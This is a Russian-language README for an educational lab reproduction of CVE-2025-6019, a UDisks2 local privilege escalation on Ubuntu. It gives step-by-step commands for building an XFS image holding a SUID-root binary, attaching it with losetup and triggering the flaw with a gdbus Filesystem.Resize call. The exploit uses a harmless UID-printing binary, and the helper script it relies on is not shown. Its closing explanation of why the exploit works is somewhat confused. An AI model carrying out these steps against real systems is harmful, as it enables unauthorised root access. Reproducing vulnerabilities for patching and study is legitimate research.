CVE-2025-6019 – Уязвимость ResizeFilesystem в UDisks2 (Образовательная репродукция)

Этот репозиторий документирует образовательную репродукцию CVE-2025-6019, выполненную в контролируемой лабораторной среде (виртуальная машина Ubuntu, не производственная среда).

🛡️ Уведомление о безопасности

Это исследование воспроизводит CVE-2025-6019 в изолированной среде Ubuntu для анализа первопричины и мер по устранению уязвимости UDisks2.
Все результаты публикуются ответственно и направлены на повышение осведомлённости и внедрение исправлений.
Если вы вендор или мейнтейнер, убедитесь, что ваша система имеет последние обновления безопасности.

Введение

Эта уязвимость CVE — разновидность локального повышения привилегий (Local Privilege Escalation) в Linux, возникающая из-за недостаточно скоординированного взаимодействия между компонентами управления файловыми системами Linux, а именно udisk/udisk2, libblockdev и Polkit. Эта ошибка позволяет локальному пользователю (непривилегированному атакующему) смонтировать вредоносный образ файловой системы, содержащий файлы, принадлежащие root, с установленным SUID-битом, выполнить SUID-root бинарный файл из этого образа и в конечном итоге получить полный контроль над хостом.

Как воспроизвести уязвимость

Шаг 1: Подготовка окружения

Эксплуатация проводится на виртуальной машине Ubuntu 20.04.6.
Все тесты выполняются в изолированной локальной виртуальной машине; сетевые подключения и деструктивные нагрузки не используются. Цель — исключительно наблюдение за изменениями привилегий и проверка уязвимости в безопасных условиях.

Клонируйте этот репозиторий и убедитесь, что у вас есть файлы check_root.c и exploit_helper.sh

~$ gcc check_root.c -o check_root

Проверка версий udisk2 и libblockdev:

~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2  

Шаг 2: Подготовка полезной нагрузки (машина атакующего)

Обратите внимание, что цель — не создание деструктивной программы. check_root.c — это безвредная тестовая программа, которая при выполнении просто выводит свой реальный UID и эффективный UID (с помощью функций getuid() и geteuid()), но если заменить её на вредоносный бинарный файл, система может быть повреждена.

Создание файла образа:

~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

Копирование checkroot.c в образ и установка SUID-флага:

~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# Expected: no result return.

Если вы видите, что образ всё ещё смонтирован, размонтируйте его. После этого этапа у нас есть вредоносный образ, содержащий вредоносный файл (checkroot.c) с SUID-флагом и владельцем root в метаданных.
Обратите внимание, что эти метаданные сохраняются при копировании файла между Linux-машинами, а Linux защищён параметром «nosuid», который в данном сценарии не затрагивается.

Шаг 3: Эксплуатация (на целевой машине)

На этом шаге образ подключается к целевой машине, после чего выполняется находящийся внутри вредоносный файл — это действие аналогично подключению вредоносного USB-накопителя к Linux-машине.

~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns

Запуск файла exploit_helper.sh:

~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

Откройте второй терминал и отправьте D-Bus запрос, который попросит систему (UDisks2) изменить размер представленного блочного устройства.

~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

Проверка терминала эксплуатации: Успех

Почему это сработало: когда образ был вручную подключён с помощью losetup, а затем вручную смонтирован (даже в системе, где присутствует udisksd), монтирование выполнялось в другом контексте, с другими параметрами и семантикой жизненного цикла. В этом сценарии файловая система не была смонтирована с теми же флагами безопасности, которые применяет udisksd, поэтому setuid-бинарный файл внутри образа смог сработать, и этап эксплуатации завершился успешно.

Команда безопасности Ubuntu уже выпустила исправленные версии UDisks2, устраняющие CVE-2025-6019.

⚠️ Отказ от ответственности
Этот репозиторий предназначен только для образовательных целей.
Не используйте какую-либо часть этого материала для атак или изменения реальных систем.
Автор и соавторы не несут ответственности за неправомерное использование.